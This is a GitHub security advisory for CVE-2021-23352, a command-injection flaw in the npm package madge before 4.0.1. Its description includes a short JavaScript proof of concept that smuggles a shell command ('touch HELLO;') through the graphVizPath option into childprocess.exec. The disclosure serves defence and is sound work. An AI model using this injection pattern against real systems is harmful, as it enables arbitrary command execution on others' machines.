GitHub Advisoryadvisory · npm

GHSA-753c-phhg-cj29 Madge vulnerable to command injection

HIGH Published 2021-03-12 Modified 2023-09-06 Official page ↗
Aliases
CVE-2021-23352
Ecosystem
npm
Packages
madge
Severity
High
Weaknesses
CWE-77, CWE-89
Reviewed
2021-03-12

Affected packages

• npm madge: < 4.0.1 → fixed in 4.0.1

Description

This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function. PoC ```js const madge = require('madge'); madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); }); ```

Related

Alias · CVE (1)

  • CVE-2021-23352 This affects the package madge before 4.0.1. vulnerability

Weakness · CWE (2)

  • CWE-77 Improper Neutralization of Special Elements used in a Command weakness
  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References